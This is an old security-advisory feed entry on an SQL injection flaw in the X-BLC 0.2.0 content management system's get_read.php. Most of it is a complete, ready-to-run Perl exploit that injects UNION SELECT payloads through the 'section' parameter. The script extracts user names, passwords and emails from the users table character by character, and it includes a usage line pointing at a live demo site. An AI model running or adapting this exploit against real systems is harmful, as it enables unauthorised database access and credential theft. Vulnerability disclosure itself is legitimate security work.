|
Feeds -
Exploits
|
|
Written by dun
|
|
Monday, 23 March 2009 22:12 |
X-BLC 'get_read.php' Parameter SQL Injection Vulnerability
-\\Bugtraq ID: 34197
-\\Class: Input Validation Error
-\\CVE:
-\\Remote: Yes
-\\Local: No
-\\Published: Mar 23 2009 12:00AM
-\\Updated: Mar 23 2009 12:00AM
-\\Credit: dun
-\\Vulnerable: X-BLC X-BLC 0.2
-\\Discussion X-BLC is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
X-BLC 0.2.0 is vulnerable; other version may also be affected.
-\\Exploit(s)/PoC(s): Attackers can use a browser to exploit this issue.
The following exploit is available:
=============================================================== 34197.pl ^^^^^^^^^ #!/usr/bin/perl -w
# :::::::-. ... ::::::. :::. # ;;, `';, ;; ;;;`;;;;, `;;; # `[[ [[[[' [[[ [[[[[. '[[ # $$, $$$$ $$$ $$$ "Y$c$$ # 888_,o8P'88 .d888 888 Y88 # MMMMP"` "YmmMMMM"" MMM YM # [ Discovered by dun \ dun[at]strcpy.pl ] # ###################################################### # [ xblc <= 0.2.0 ] SQL Injection Vulnerability # ###################################################### # # Script: "X-BLC is a dynamic web content management system written in PHP..." # # Script site: http://www.biolawcom.de/xblc/ , http://sourceforge.net/projects/xblc/ # Download: http://downloads.sourceforge.net/xblc/xblc-0.2.0.zip?use_mirror=fastbull # # Usage: perl expl.pl http://www.biolawcom.de/demo/ # ####################################################### # # [ dun / 2009 ]
use IO::Socket; use Socket; use IO::Select;
my @tables=("id","login_name","password","email","status");
if(scalar(@ARGV) < 1) { print "\nUsage: perl expl.pl http://site.com/path/\n\n"; exit; }
foreach $t (@tables) { $i=1; print $t." = "; do { $path = "include/get_read.php?section=-1+UNION+SELECT+ORD(SUBSTRING(".$t.",".$i.",1))+FROM+users/*"; $host = $ARGV[0].$path; ############################################# # $page = http_query($host, $proxy, $port); # ############################################# $page = http_query($host); $page =~ /guest=(.*)\,runTime=/; $char=$1; print chr($char); $i++; } while($char != 0); print "\n"; } sub http_query { my $page=""; my $url=$_[0]; if(defined($_[1]) && defined($_[2])) { $host=$_[1]; $port=$_[2]; $get="GET $url HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nCookie: id=1\r\nConnection: Close\r\n\r\n"; } else { $port=80; $url=~s/http:\/\///; $host=$url; $query=$url; $host=~s/([a-zA-Z0-9\.]+)\/.*/$1/; $query=~s/$host//; if ($query eq "") {$query="/";}; $get="GET $query HTTP/1.0\r\nHost: $host\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) \r\nCookie: id=1\r\nConnection: Close\r\n\r\n"; } my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return; print $sock $get; my @r = <$sock>; $page="@r"; close($sock); return $page; }
-\\Solution Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s) --Vendor Homepage http://sourceforge.net/projects/xblc (X-BLC)
|